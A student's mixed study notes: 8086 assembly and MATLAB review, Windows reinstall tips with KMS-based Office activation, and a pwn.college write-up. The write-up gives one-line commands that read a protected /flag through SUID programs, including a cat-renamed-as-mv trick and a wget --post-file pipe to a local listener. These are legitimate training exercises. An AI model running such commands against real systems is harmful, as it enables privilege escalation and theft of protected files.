; 这里 ? 表示我暂时不知道这个值是多少，只是用来占个位置。也用于之后写数据到这个位置（把数据写进去当然不用知道这个值是多少，要计算机算了之后才能知道）。

z dw ?

; ends 表示结束这个 data 段，有始有终

data ends


; 定义一个段，名字叫 code，见名知意，用来存放代码的

code segment

; assume 是汇编伪指令，类似于 C 当中的 #include，是给编译器看的东西

; assume 意为假设

; 告诉编译器，假设 code 段与寄存器 cs 有联系，data 段同理

; 寄存器 cs, ds 具体指什么请看后面

assume cs:code,ds:data

; 标识代码段真正开始，之前的都是伪指令

start:

; 将 data 段的首地址赋值给 ax 寄存器，记住是首地址

; mov 表示 move，赋值的意思

mov ax,data

; 将 ax 寄存器中的值赋值给 ds 寄存器

; 与上面那条指令连起来，就是把 data 段的首地址赋值给 ds 寄存器

; 至于为什么要用 ax 寄存器中转，是因为英特尔不准将地址直接存进 ds

; 可能是安全原因吧，我不清楚，反正比较麻烦，所以汇编语言经常是几条语句连在一块看

mov ds,ax

; 将 data 段中名字叫 x 的那个值，存进 ax

mov ax,x

; 将 ax 当中的值（也即 x，也即 1234h），与 y 相加（add）

; 然后重新赋值给 ax 寄存器，此时 ax 存放的就是 1234h+5678h

add ax,y

; 将 ax 寄存器中的值赋值给 z 所在的地址（那个问号？）

; 意思就是存进内存

mov z,ax

; ah 是 ax 寄存器高位的简称(AX's High byte)

; ax 是十六位寄存器，而 4c 是八位，所以不能直接存进 ax，汇编语言里面必须时刻注意数据与寄存器的位数是否保持一致

; 不过这里是另外一个原因：与下面 int 21h 结合在一起，表示中断程序，让 cpu 转而去执行 ah 里面存的代号（也即 4c）所代表的功能（即是 带返回码终止程序）

; 关于 ah 里面的代号表示什么意思，详情请看书 471 页及其以后

mov ah,4ch

; 这里的 int 并非数据类型 int，而是打断，中断（interrupt）的前三个字母简写

; 中断程序，中断类型为 21h

; 该类型指的是 DOS 系统功能调用，详情看书 470 页

; 所以需要先把 ah 里面的系统功能调用代号赋值好，再执行这句话

int 21h

; 代码段结束

code ends

; 代码行数真正在这里结束（其实我也不知道为啥，硬记吧，反正就是一个框架性质的东西）

; 注意 end 与之前的 ends 的区别

end start

学习建议

  • 理解了上述框架之后，就只用学习指令了

  • 理解每一个指令是什么意思，谁加减谁，又牵涉到哪个寄存器

  • 然后记指令的时候，务必请和英语联系，否则硬记十分痛苦

  • 说的就是跳转指令这些

  • JNB（Jump if Not Below，如果不低于则跳转，也即大于等于时跳转）

  • JAE（Jump if Above or Equal，如果大于或者等于则跳转，所以跟上面那个是一样的）

  • JNC（Jump if Not Carry，进位标志符不变时则跳转，跟上面意思也是一样的，进位标志符：标志寄存器 / 程序状态寄存器 里面的一个位之一，之后的笔记你会看到）

  • 如果不了解每个指令是干啥的，建议与上下语句连在一块儿看，可能就会懂了

  • 之后就是我复习的时候做的笔记，也是考点和比较重要的地方，可以参照看一下

  • 看完之后，看到汇编其实也就觉得没什么难的，只是麻烦了一点

  • 没啥了

第一章

  • 进制相互之间转换

  • 同进制运算

  • 正反补码

  • 补码运算

  • 无符号整数

  • 字符表示法（ASCII）

  • 逻辑运算

第二章

硬件和软件

中央处理器

寄存器

通用寄存器

  • AX（Accumulator，累加）

  • BX（Base，基址）

  • CX（Count，计数）

  • DX（Data，数据）

  • 以上四个可以 16 位访问，也可以 8 位访问

  • BP（Base Pointer，基址指针）

  • SI（Source Index，源变址）

  • DI（Destination Index，目的变址）

  • 以上三个只能以 16 位访问

专用寄存器

  • IP（Instruction Pointer，指令指针）

  • SP（Stack Pointer，堆栈指针）

  • FLAGS / PSW（Program Status Word，程序状态）

  • OF（Overflow Flag，溢出标志）

  • SF（Sign Flag，符号标志）

  • ZF（Zero Flag，零位标志）

  • CF（Carry Flag，进位标志）

  • AF（Auxiliary Carry Flag，辅助进位标志）

  • PF（Parity Flag，奇偶标志）

  • DF（Direction Flag，方向标志）

  • TF（Trap Flag，陷阱标志）

  • IF（Interrupt Flag，中断标志）

段寄存器

  • CS（Code Segment，代码段）

  • DS（Data Segment，数据段）

  • SS（Stack Segment，堆栈段）

  • ES（Extra Segment，附加段）

存储器

存储器的无穷大空间数组，可以通过字节，字和双字等不同形式访问。

最大寻址范围取决于地址总线长度。

外部设备

第三章

寻址方式


; 立即寻址（Immediate Addressing）：使用的是立即数，所以叫立即寻址

MOV AL, 5


; 寄存器寻址（Register Addressing）：使用的是寄存器，所以叫寄存器寻址

MOV AX, BX


; 直接寻址（Direct Addressing）：直接到相应地址上找数据，所以叫直接寻址

; 需要加上 DS 里面的内容

MOV AX, [2000H]


; 寄存器间接寻址（Register Indirect Addressing）

MOV AX, [BX]


; 寄存器相对寻址 / 直接变址寻址（Register Relative Addressing）

MOV AX, COUNT[SI]

MOV AX, [COUNT+SI]


; 基址变址寻址（Based Indexed Addressing）

MOV AX, [BX][DI]

MOV AX, [BX+DI]


; 相对基址变址寻址（Relative Based Indexed Addressing）

MOV AX, MASK[BX][SI]

MOV AX, MASK[BX+SI]

MOV AX, [MASK+BX+SI]


; 比例变址寻址（Scaled Indexed Addressing）

MOV EAX, COUNT[ESI*4]


; 基址比例变址寻址（Based Scaled Indexed Addressing）

MOV EAX, [EAX],[EDX*8]


; 相对基址比例变址寻址（Relative Based Scaled Indexed Addressing）

MOV EAX, TABLE[EBP][EDI*4]




; 段内直接寻址（Intrasegment Direct Addressing）

; PROGIA 和 QUEST 均为转向的符号地址

; 如果位移量为 16 位，则在符号地址前加操作符 NEAR PTR

; 如果位移量为 8 位，则在符号地址前加操作符 SHORT

JMP NEAR PTR PROGIA

JMP SHORT QUEST


; 段内间接寻址（Intrasegment Indirect Addressing）

JMP BX

JMP WORD PTR[BP+TABLE]

JMP TABLE[BX]

JMP [BX][SI]

JMP ECX


; 段间直接寻址（Intersegment Direct Addressing）

JMP FAR PTR NEXTROUTINT


; 段间间接寻址（Intersegment Indirect Addressing）

JMP DWORD PTR[INTERS+BX]

JMP DWORD PTR [EDI]

数据传送指令

  • 通用数据传送指令

  • MOV

  • PUSH

  • POP

  • PUSHA / PUSHAD

  • POPA / POPAD

MOV AX, DATA_SEGMENT

MOV DS, AX

MOV AL, 'E'

MOV BX, OFFSET TABLE


; PUSH 和 POP 的指针和数据存储的先后顺序

PUSH SRC

POP DST

PUSHA

POPAD

  • 地址传送指令

  • LEA

LEA REG, SRC

  • 算术指令

  • ADD

  • INC

  • SUB

  • DEC

  • NEG

  • CMP

  • MUL

  • DIV


; (DST) + (SRC) --> (DST)

ADD DST, SRC


; (OPR) + 1 --> (OPR)

INC OPR


; (DST) - (SRC) --> (DST)

SUB DST, SRC


; (OPR) - 1 --> (OPR)

DEC OPR


; (OPR) --> (OPR)

; 作用是求补码

NEG OPR


; 比较指令

; 跟 SUB 执行一样的操作，但是不保存结果

; 只保存 FLAGS

CMP OPR1, OPR2


; 注意：

; 目的操作数只能为 AX / AL

; 结果存放在 AX / DX+AX / EDX+EAX 中

; 其中 (E)AX 存低位，(E)DX 存高位

MUL SRC


; 注意：

; 16 位被除数在 AX 中，8 位除数为源操作数。8 位商存在 AL 中，8 位余数在 AH 中

; 32 位被除数在 DX,AX 中，其中 DX 为高位字。16 位除数为源操作数，16 位商存在 AX 中，16 位余数在 DX 中

; 64 位被除数在 EDX,EAX 中，其中 EDX 为高位双字。32 位除数为源操作数，32 位商存在 EAX 中，32 位余数在 EDX 中

DIV SRC

  • 逻辑运算指令

  • AND

  • OR

  • NOT

  • XOR

  • TEST

  • 移位指令

  • SHL：逻辑左移

  • SAL：算术左移

  • SHR：逻辑右移

  • SAR：算术右移

  • ROL：循环左移

  • ROR：循环右移

  • 通用用法：OPTION OPR, CNT

  • 注意：

  1. OPTION 为上述移位指令中的任何一个；
  1. OPR 用除了立即数以外的任何寻址方式；
  1. 移位次数由 CNT 决定，可以是 1 - 31。但是如果需要移位的次数大于 1，需要将其存在 CL 寄存器中，移位指令中的 CNT 直接写为 CL 即可。如果为 1，啧不受此限制

  • 串处理指令

  • MOVS：串传送

  • CMPS：串比较

  • SCAS：串扫描

  • LODS：从串取

  • STOS：存入串

  • INS：串输入

  • OUTS：串输出

  • 与上述基本指令配合使用的前缀：

  • REP：重复

  • REPE / REPZ：相等 / 为零则重复

  • REPNE / REPNZ：不相等 / 不为零则重复

  • 控制转移指令

  • JMP

  • 段内直接短转移：JMP SHORT OPR

  • 段内直接近转移：JMP NEAR PTR OPR

  • 段内间接近转移：JMP WORD PTR OPR

  • 段间直接远转移：JMP FAR PTR OPR

  • 段间间接远转移：JMP DWORD PTR OPR

  • JE / JZ

  • JNE / JNZ

  • JS / JN

  • JO / JNO

  • 比较无符号数：（B: Below, E：Equal, A：Above, C：Carry, N：Not）

  • JB / JNAE / JC

  • JNB / JAE / JNC

  • JBE / JNA

  • JA / JNBE

  • 比较有符号数：（G: Greater, E：Equal, L：Less, C：Carry, N：Not）

  • JL / JNGE

  • JNL / JGE

  • JLE / JNG

  • JG / JNLE

循环

子程序

  • CALL

  • RET

中断

第四章

伪操作

  • 地址计数器 $：

  • 用在指令中时，表示本条指令的第一个字节的地址。

  • 在指令中用到 $ 时，它只代表该指令的首地址，而与 $ 本身所在的字节无关。

  • 用在伪操作的参数字段时，表示的是地址计数器的当前值。

  • ORG：

  • 用来设置当前计数器的值。

MATLAB 复习

基础

  • A = [1,2,3; 4,5,6; 7,8,9]
  • 初始值 : 步长 : 终止值 (其中包括起始值和终止值)
  • 字符串用==单引号==括起来（ ' 用两个单引号 '' 转义）

函数复习

  • linspace(x, y, z) : 生成行向量 ( x 为首元素，y 为末元素，z 为个数)
  • reshape(A, m, n) : 改变矩阵形状
  • rem (a, b) : 取余
  • fix (a) : 向==零方向==取整
  • floor(a) : 向==负无穷方向==取整
  • ceil(a) : 向==正无穷方向==取整
  • log(a) : ==自然对数==
  • exp(a) : 自然指数
  • find(a) : 找非零元素的位置
  • length(a) : 求长度
  • ==zeros(a) : 产生全 0 矩阵==
  • ==ones(a) : 产生全 1 矩阵==
  • ==eye(a) : 单位阵==
  • rand(num) : 产生 (0, 1) 区间均匀分布的随机矩阵，num为阶数
  • eg : x = 20+(50-20)*rand(5)
  • diag(A[ , num]) : 提取矩阵的对角线元素；构造对角阵
  • 提取主对角线元素形成列向量，主对角线以上记为正数，以下记为负数，num 即为哪条对角线
  • 构造对角阵同理，但 A 必须要为行向量
  • triu(A[ , num]) : 上三角阵，与上同理
  • tril(A[ , num]) : 下三角阵，与上同理
  • A' : 共轭转置
  • A.' : 转置 （实数范围内，共轭转置和转置结果一样）
  • ==inv(A) : 矩阵求逆==
  • ==det(A) : 求方阵对应行列式的值==
  • ==rank(A) : 矩阵求秩==
  • ==trace(A) : 矩阵求迹==（迹为矩阵对角线元素之和，也等于矩阵的特征值之和）
  • norm(V[ , 1 / 2 or null / inf ]) : 求 1-范数，2-范数和无穷大范数
  • cond(A[ , 1 / 2 or null / inf ]) : 求在 1-范数，2-范数和无穷大范数下的条件数
  • eig(A) : 求矩阵的全部特征向量
  • A = input ( '提示信息' [, 's' ]);
  • 如果要输入字符串就加上后面的 's' 选项
  • disp(a) : 输出内容
  • pause(延迟秒数) : 暂停程序
  • ==plot(x, y)== : 以 x, y 为横纵坐标绘制二维曲线，其中 x, y 为长度相同的向量
  • 当 x, y 为同型矩阵时，则以 x, y 对应列元素为横纵坐标绘制，曲线条数等于矩阵列数
  • 可以输入多组 x, y 以绘制多条曲线，跟在前一组可选参数后面
  • 可选参数：

-.                                    :                               --

实线（默认值） 点画线 虚线 双划线 b (blue) 蓝色

g (green) 绿色

r (red) 红色

c (cyan) 青色

m (magenta) 品红

y (yellow) 黄色

k (black) 黑色

w (white) 白色 . 点

o (字母) 圆圈

x (字母) 叉号

+ 加号

* 星号

s ( square ) 方块

d ( diamond ) 菱形

v (字母) 朝下三角

^ 朝上三角

< 朝左三角

> 朝右三角

p ( pentagram ) 五角星

h ( hexagram ) 六角星

  • plotyy(x1, y1, x2, y2) : 双纵坐标函数
  • title(图形名称) 图形标注
  • xlabel(x 轴说明) 图形标注
  • ylabel(y 轴说明) 图形标注
  • text(x, y, 图形说明) 图形标注
  • legend(图例1, 图例2, ...) 图形标注，图例即介绍线型和作用的，类似于地图

hold on;

hold off;

作用即控制是否保持原有图形还是刷新原有图形

  • subplot(m, n, p) : 将窗口分割成 m x n 个绘图区，m 行，每行 n 个，依次编号，选中第 p 个区域
  • fplot(filename, lims, 选项) : 自适应采样绘图
  • filename : 代表一个函数，通常采用函数句柄的形式，也可以是字符串形式
  • lims : x 轴的取值范围，取二元向量 [xmin, xmax] , 默认值为 [-5, 5]
  • polar(theta, rho, 选项) : 极坐标绘图
  • theta : 极坐标极角
  • rho : 极坐标极径
  • ==其他形式二维图形暂不列出==
  • plot3(x, y, z, 选项) : 绘制三维曲线
    • 三维曲面绘制函数
  • meshgrid(x, y) : 生成平面网格坐标矩阵，其中 x, y 为冒号表达式或者行向量
  • mesh(x, y, z, c) : x, y, z 为同型矩阵，x, y 是网格坐标矩阵，z 是网格高度矩阵，c 为色标矩阵用于指定曲面颜色，c有默认值，输入时可以不予指定。在不需要绘制特别精细的三维曲面图时，可以通过三维网格图表示三维曲面
  • surf(x, y, z, c) : x, y, z, c 与上同理，各线条之间的补面用颜色填充
  • ==其他形式三维图形暂不列出==
  • ezplot(f [, a, b] ) : f 为一个函数 y=f(x) ，可选参数 a, b 为 x 的区间，如果要设定 y 的区间，跟在 x 的区间后面即可，默认区间为 -2π < x < 2π 。其中 f 可以为函数文件名或者函数表达式组成的字符串

运算复习

  • *
  • （左除）
  • / （右除）
  • <
  • <=
  • >
  • >=
  • ==
  • ~= （不等于）
  • ^ （乘方）
  • &
  • |
  • ~
  • xor （异或）
  • 点运算

流程控制

  • if 结构：

if 条件

        语句组

end if 条件

        语句组1

else

        语句组2

end if 条件1

        语句组1

elseif 条件2

        语句组2

        ……

else

        语句组n

end

不需要像 python 那样条件后面跟冒号，也不需要大括号，最后要有 end 标识。

  • switch 结构：

switch 表达式

        case 结果表1

                语句组1

        case 结果表2

                语句组2

                ……

        case 结果表n

                语句组n

        otherwise

                语句组n

end

  • for 结构：

for 循环变量=表达式1 : 表达式2 : 表达式3

        循环体语句

end

表达式块为一个冒号表达式，产生一个行向量，如果有行向量矩阵可供直接使用，那么将同该行向量的效果一样，将行向量里的每一个元素代入到循环体语句中执行，知道该行向量元素循环完毕。

  • while 结构：

while 条件

        循环体语句

end

  • break 和 continue ：与其他编程语言中效果相同

文件

  • 格式：

function 输出形参表=函数名(输入形参表)

        注释说明部分

        函数体语句

  • 函数文件名一般跟函数名相同。如果不一致，调用则直接使用函数名；
  • 有 return 语句；
  • 有递归调用；
  • 匿名函数格式：

函数句柄变量=@(匿名函数输入参数) 匿名函数表达式

函数句柄变量：相当于函数别名，可以通过其间接调用函数

@：创建函数句柄的运算符

软件知识补充

安装软件和绿色版软件有什么区别？

安装软件

安装软件=绿色版+注册表写入+"C:\Users\13969\AppData"的三个文件夹中写入数据+其他位置写入数据

  • 注册表
    • 注册表是管理软件数据与该软件和Windows操作系统集成
      • 集成
        • 你可以在应用或者控制面板就上找到该软件并卸载
        • 可以关联启动和文件类型
        • 其他类型的软件控制参数
      • 例子
        • 网上有绿色版PS，它没有经过安装，所以不能够关联.psd和这个绿色版软件（也就是双击.psd文件，不能用该绿色软件打开。只能先打开绿色版软件，然后通过“文件-打开”来打开文件）。另外，也不能在应用或者控制面板中卸载该软件。
        • 安装版PS软件有试用期，这个试用期就是写入了注册表的。如果你卸载了PS，那么它的注册表不会自己删除干净，而会保留。这样PS就记住了你之前安装过这个软件，而且还剩了多少天的试用期。下次安装的时候，PS就会从注册表里面恢复数据。如果你用第三方清理软件把注册表删除，那么它就不认识你了。
      • 特别注意
        • Windows的设定参数也在注册表里面，不能乱改
    • C:\Users\13969\AppData"的三个文件夹中写入数据
      • 这三个文件夹是用来存放你的个人信息数据的。同样，软件卸载的时候不会自己把这里面的数据删掉
      • 例子
        • 网易云上喜欢的音乐
        • 你的头像
        • 你的个人信息
    • 其他位置写入数据
      • 一般是缓存文件，或者其他要保存的文件
      • 例子
        • QQ音乐会在D:\QQMusicCache建立一个隐藏文件夹，是用来存放缓存文件的

绿色软件

绿色软件包括软件的主程序+辅助程序+其他库文件。不需要安装，只需要双击主程序(.exe)启动就可以了

  • 注意事项
    • 如果把安装软件安装在其他盘，那么重装系统之后，就只剩下了软件主体部分了（跟绿色软件类似），注册表、"C:\Users\13969\AppData"的三个文件夹中写入的数据全部被删除了。大部分软件仍然可以运行，但是有一小部分软件因为数据缺失或者其他原因（故意的）不能打开（比如QQ音乐）
      • 补充
        • 不要把软件装在其他盘。因为软件运行不光需要它本身的一些数据，还可能调用C盘的库函数或者动态链接库(.dll文件)，所以还是会调用到C盘的东西

Win32应用程序和UWP应用程序有什么区别

Win32应用程序

旧时代产物，分为32位软件和64位软件

  • 格式

    • .exe(就是一个压缩文件)
    • .msi(新的软件格式，一般只用微软官方补丁是这个文件格式)

  • 特点

    • 由软件方自己打包
    • 权限大
    • 你不知道这个软件会在后台干啥(比如被迫安装全家桶)
    • 需要自己下载

UWP应用程序(Universal Windows Platform)

新时代产物，从windows store里面下载，但是现在已经有衰败的迹象了

  • 格式

    • 没有格式

  • 特点

    • 由微软官方打包并发布
    • 权限受限(无流氓行为)
    • 软件通常是残缺不全的，因此不建议使用UWP软件。当然，对于个别特别流氓的软件，你可以使用
    • windows store下载就可以了

VPN和SSR有什么区别

VPN

VPN：虚拟专用网络。一开始是用来在外网上登录局域网，后来用于翻墙。但是由于VPN技术过于落后，现在翻墙已经不现实了

  • 特点
    • 全局性的
    • 容易被发现
    • 网络速度堪忧

SSR

SSR是一种基于socks v5协议的代理

  • 代理

    • 代理就是点对点的业务交付
    • 例子
      • 你要租房。如果你直接跟房东商量，这个叫直连。如果你通过房屋中介跟房东商量，那么房屋中介就是一个代理。房东把房屋信息，租金等等交付给房屋中介，由中介发布信息并联系客户(你)。其中，代理可以对被代理的业务(房屋出租)进行更改或者增强。如，你通过房屋中介租房，房东需要租金600，但是房屋中介告诉你，我们需要650租金。多余的钱进了房屋中介的腰包了。
      • 你要翻墙。你通过SSR，把google的请求发送给代理服务器，服务器把业务(访问谷歌服务器)转发给谷歌的服务器。谷歌的服务器收到请求，处理完成后返回给代理服务器，再通过代理服务器转发给你。

  • 特点

    • 点对点的
    • 有加密，安全性比较强
    • 所以你可以自己配置哪些应用程序通过代理，哪些应用程序直接连接

C/S模式和P2P模式

C/S模式

C: Client（客户端）

S: Server（服务器）

特点：

  • 一个服务器可以对应多个客户端
  • 服务器挂了，客户端跟着挂

P2P

Peer To Peer

特点：

  • 一个软件既当客户端又当服务器
  • 一个软件挂了，其他的不会跟着挂

重装系统知识

一部分常识

32位

  • 意义
    • CPU在一个周期内能同时处理32bit（4B）的数据
  • 代号
    • x86（Intel的前几款民用CPU代号是386，486，586）
  • 缺点
    • 只支持最多4G内存（2^32）
    • 只支持BIOS（管理电脑开机和硬件自检）
      • BIOS只能用键盘操作，只支持英文
      • 蓝底白字
    • 只支持MBR（一种硬盘格式）
      • MBR最多只支持4个主分区
        • 主分区：可以安装操作系统
      • 扩展分区有限制
        • 扩展分区：不能安装操作系统
      • 最高只支持4T的硬盘容量

64位

  • 意义
    • CPU在一个周期内能同时处理64bit（8B）的数据
  • 代号
    • X64
  • 优点
    • 支持超过4G的内存（2^64=2,147,483,648G）
    • 支持EFI
      • 支持使用鼠标，可以支持中文
      • 支持多种样式
    • 支持GPT
      • 所有分区都是主分区
      • 分区数量远比MBR要多
      • 硬盘容量远比4T要大
      • MBR和GPT互不兼容

各种操作系统

  • Windows，Linux，Mac OS

如何重装系统

原理

利用第三方介质（U盘，光盘，网卡）加载PE系统（PE系统就是一个迷你的操作系统，主要是为了主系统在不能启动的时候还能够通过它打开硬盘上的东西，以及检测硬件或对操作系统进行修改）到内存，通过PE系统进行重装

PE系统种类

  • 官方：微软的PE系统（不支持硬件检测，不支持打开硬盘，只是为了重装系统）
    • 官方PE重装的系统是最干净的
  • 第三方：老毛桃，大白菜，装机专家……（都是垃圾），微PE（推荐）
    • 第三方PE功能强大，支持硬件检测，支持打开硬盘，但是不干净。利用第三方PE重装的系统很可能带有360，猎豹，金山，2345，瑞星……
    • 微PE干净，推荐

步骤

  1. 到EFI或者BIOS打开USB兼容模式
  • 目的：为了能够从U盘启动
  • 操作：
    1. 关机或者重启
    2. 在电脑开机的时候按F2或者DEL，或者F12（具体按哪个键，要根据自己的电脑确定。一般台式机是按DEL）重启到BIOS或者EFI
    3. 在BIOS或者EFI中找到USB legency，并将其打开
  1. 制作U盘启动盘
  • 目的：将操作系统（要安装的操作系统+PE）烧录到U盘上
  • 操作：
    1. 下载要安装的操作系统的镜像文件
    • 网站：“MSDN，我告诉你”或者微软官方网站
    • 镜像文件格式：iso
    • 下载ultra iso（软通牒）
    • 利用ultra iso将操作系统烧录到U盘上
  • 从U盘启动并将操作系统安装到硬盘上
    • 操作：
      • 一般来说，笔记本或者台式电脑都是专用的启动介质调整界面。如果没有就再进BIOS或者EFI，调整启动顺序
        1. 关机并重启，进入启动顺序调整界面
        2. 确定自己的硬盘是什么格式，如果是MBR，就用普通模式启动，如果是GPT，就用EFI模式启动
        3. 按照提示一步一步操作

重装系统 8->7

  1. 烧 PE 系统进入 U 盘，并且拷入系统
  2. 想办法进入 BIOS（一般按 F2，进不去说明键盘有问题）
    • 禁用 Secure Boot
      • 如果需要设置密码，就设置，并进行保存
      • 不需要的话直接改
    • 更改引导方式：从 UEFI 改为 Legency Boot
    • 启用 F12 Boot Menu
  3. 按 F12 进入启动菜单，选中 U 盘，进入 PE 系统
  4. 利用 DiskGenuis 删除全部分区
  5. 将硬盘格式从 GPT 更改为 MBR
  6. 重新分区并格式化分区
  7. 安装 Windows 7
  8. 重启，设置系统安装选项
  9. 重启，安装无线网卡驱动
  10. 激活 Window 7
  11. 安装必要程序
    • 驱动程序
    • 微软 C++ 运行库
    • 安装 Windows Update Serve Package 1
    • 安装 IE 11
      • 注意：此步是为了合法获取相应的 Windows 7 Update 更新
    • 安装各种 Windows Update
  12. 启动 Office Tool Plus
    • 注意：如果此步不能成功，回滚到 11 并检查各种配置项和更新是否安装完毕
  13. 部署 Office
  14. 安装许可证
  15. 寻找 KMS 服务器
  16. 激活 Office 请查阅 https://03k.org/kms.html
  17. 开始使用

附注截图如下：

KMS-激活

pwn.college writeup

Premise

  • Personal solutions, that is saying maybe not the best.
  • The sequence number of each section is the challenge number. CORRESPONDING.
    • X. => section_name levelX
  • Because the required random value of each user is different, so using ${random} key word instead of detailed value.
    • ${random_key} is the key.
    • ${random_value} is the corresponding value.
    • etc.
  • When first enter a new challenge, maybe need to execute the level program purely to get the specifically random value before coding any solutions.
  • The order number is the corresponding challenge number, however, in some certain semester, both are not same, readers should looking for the order number which locates in head of each line under solutions section.

Fundamentals

Program Misuse

Solutions

  1. cat /flag

  2. more /flag

  3. less /flag

  4. tail /flag

  5. head /flag

  6. sort /flag

  7. vim /flag

  8. emacs /flag

  9. nano /flag

  10. rev /flag | rev

  11. od -c -w1024 /flag | awk -F" " -v OFS='' '{$1="";print $0}' or od -c -w1024 /flag | sed -Ee 's/[0-9]{7}//;s/ //g'

    • man od or od --help can peek the usage of od
      • -c same as -t c, select printable characters or backslash escapes
      • -w[BYTES], --width[=BYTES], output BYTES bytes per output line; 32 is implied when BYTES is not specified
    • awk is a column based data filter
      • -F, --field-separator fs, set the FS variable to fs, using fs to split input content, so here is space
      • -v var=val, --assign var=val, set the variable var to the value val before execution of the program begins. OFS is output-field-separator, so here using null to reformat the output
      • '{$1="";print $0}' is the command
        • First, let the first column be null
        • Second, print all the columns
    • sed is a stream editor
      • -E, use extended regular expressions
      • -e, execute multiple sed commands
      • 's/[0-9]{7}//;s/ //g'
        • s/[0-9]{7}// delete the offset address displayed number
        • s/ //g delete all the whitespaces

  12. hd /flag | awk '{print $(NF)}' | tr -d '\n' | sed -Ee 's/\|//g;s/\.[0-9]{8}/\n/'

    • awk part
      • use the last column
    • tr, translate, squeeze, and/or delete characters
      • remove all the Enter(\n)
    • sed part
      • delete all the | characters
      • transform all .XXXXXXXX pattern (X is one number) into a Enter(\n)

  13. xxd /flag | awk '{print $(NF)}' | tr -d '\n' | sed 's/\.$/\n/'

  14. base32 /flag | base32 -d

  15. base64 /flag | base64 -d

  16. split /flag | cat ./xaa

  17. gzip -c /flag | zcat

  18. bzip2 -c /flag | bzcat

  19. zip - /flag | zcat

  20. tar -cvf - /flag | cat

  21. ar -rvs ~/tmp.a /flag; ar -x ~/tmp.a flag; cat flag
# then remove files
rm -rf tmp.a flag

  22. echo "/flag" | cpio -ov > flag.cpio && cat flag.cpio

  23. EXTREMELY HARD genisoimage -sort /flag -o - /flag

  1. env -i cat /flag

  2. find / -maxdepth 1 -name flag -exec cat {} \;

  3. echo -e "ans: /flag\n\tcat /flag" > Makefile && make

  4. nice cat /flag

  5. timeout 1000 cat /flag

  6. stdbuf -o L cat /flag

  7. setarch x86_64 -v cat /flag

  8. watch -x cat /flag

  9. socat - /flag

  10. whiptail --textbox /flag 20 60

  11. awk '{print $0}' /flag

  12. sed -n 'p' /flag

  13. ed /flag
.
q

  14. chown -v hacker /flag && cat /flag

  15. chmod 444 /flag && cat /flag

  16. cp -v --no-preserve=all /flag ./flag && cat ./flag && rm -rf ./flag

  17. HARD /challenge/babysuid_level40 && mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag

    • This level's solution is pretty tricky
    • The level said it had set the suid for mv after we executed it. So remember, it set the suid just for a program called mv. mv is just a name, no matter what it is in its core logic. That is saying we can replace it with others.
    • Here we just rename cat to mv, and covered the original mv program, then execute level program to get the suid privilege for present mv program (However, in core logic, it's cat program)
    • Finally, 'cat' it, but our command should be mv /flag

  18. perl -e 'open(FILE,"</flag");$line=<FILE>;foreach ($line){print $_;}'

  19. python -c 'print(open("/flag").read())'

  20. echo 'puts File.read("/flag")' > test.rb && /usr/bin/ruby test.rb && rm -rf test.rb

  21. bash -p
cat /flag

  22. date -f /flag

  23. dmesg -F /flag

  24. wc --files0-from=/flag

  25. HARD gcc -x assembler /flag

  26. as @/flag

  27. HARD wget -bv --post-file=/flag 127.0.0.1:3864 | nc -vl 127.0.0.1 3864

    • DO NOT use the -i option, it turns all the flag letters to lowercase because of the url encoding rule.

  28. TODO

Confusing Question Numbers

  • 17
  • 20 ( really confused )

Program Interaction

Solutions

  1. Execute directly.

  2. Input ${random}.

  3. /challenge/embryoio_level3 ${random}

  4. export ${random_key}=${random_value}
/challenge/embryoio_level4

  5. vim /tmp/${random_filename}
# input: ${random}
# or
# use sed/echo to input without interaction.
/challenge/embryoio_level5 < /tmp/${random_input_filename}

  6. /challenge/embryoio_level6 > /tmp/${random_output_filename}
cat /tmp/${random_output_filename}

  7. env -i /challenge/embryoio_level7

  8. echo "/challenge/embryoio_level8" > ./tmp.sh
bash tmp.sh

  9. echo "/challenge/embryoio_level9" > ./tmp.sh
bash tmp.sh
# input: ${random}

  10. echo "/challenge/embryoio_level10 ${random}" > ./tmp.sh
bash tmp.sh

  11. echo -e "export ${random_key}=${random_value}\n/challenge/embryoio_level11" > ./tmp.sh
bash tmp.sh

  12. echo -e "echo '${random}' > /tmp/${random_input_filename}\n/challenge/embryoio_level12 < /tmp/${random_input_filename}" > ./tmp.sh
bash tmp.sh

  13. echo -e "/challenge/embryoio_level13 > /tmp/${random_output_filename}\ncat /tmp/${random_output_filename}" > ./tmp.sh
bash tmp.sh

  14. echo "env -i /challenge/embryoio_level14" > ./tmp.sh
bash tmp.sh

  15. ipython
import subprocess
subprocess.Popen("/challenge/embryoio_level15")

  16. ipython
import subprocess
subprocess.run("/challenge/embryoio_level16")
${random}

  17. ipython
import subprocess
subprocess.run(["/challenge/embryoio_level17","${random}"])

  18. ipython
import os,subprocess
os.environ["${random_key}"] = "${random_value}"
subprocess.run("/challenge/embryoio_level18")

  19. echo "${random}" > /tmp/${random_input_filename}
ipython
import subprocess
subprocess.run("/challenge/embryoio_level19",stdin=open("/tmp/${random_input_filename}"))

  20. ipython
import subprocess
subprocess.run(["touch /tmp/${random_output_filename}"],shell=True)
subprocess.run("/challenge/embryoio_level20",stdout=open("/tmp/${random_output_filename}","w"))

  21. ipython
import subprocess
subprocess.run("/challenge/embryoio_level21",env=dict())

  22. echo -e "import subprocess\n\
subprocess.run('/challenge/embryoio_level22')" > tmp.py
python tmp.py

  23. echo -e "import subprocess\n\
subprocess.run('/challenge/embryoio_level23')" > tmp.py
python tmp.py
${random}

  24. echo -e "import subprocess\n\
subprocess.run(['/challenge/embryoio_level24','${random}'])" > tmp.py
python tmp.py

  25. echo -e "import os,subprocess\n\
os.environ['${random_key}'] = '${random_value}'\n\
subprocess.run('/challenge/embryoio_level25')\
" > tmp.py
python tmp.py

  26. echo -e "import subprocess\n\
subprocess.run(['echo edlmbfok > \
/tmp/${random_input_filename}'],shell=True)\n\
subprocess.run('/challenge/embryoio_level26',\
stdin=open('/tmp/${random_input_filename}'))\
" > tmp.py
python tmp.py

  27. echo -e "import subprocess\n\
subprocess.run(['touch /tmp/${random_output_filename}'],shell=True)\n\
subprocess.run('/challenge/embryoio_level27',\
stdout=open('/tmp/${random_output_filename}','w'))\
" > tmp.py
python tmp.py
cat /tmp/${random_output_filename}

  28. echo -e "import subprocess\n\
subprocess.run('/challenge/embryoio_level28',env=dict())\
" > tmp.py
python tmp.py

  29. vim tmp.c
# input content
vim tmp.sh
# input content
# or
# using "echo -e 'gcc ~/tmp.c -o ~/tmp\n~/tmp' > tmp.sh" instead.
bash tmp.sh
    • tmp.c (Template for all levels about c below) :
    #include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdlib.h>
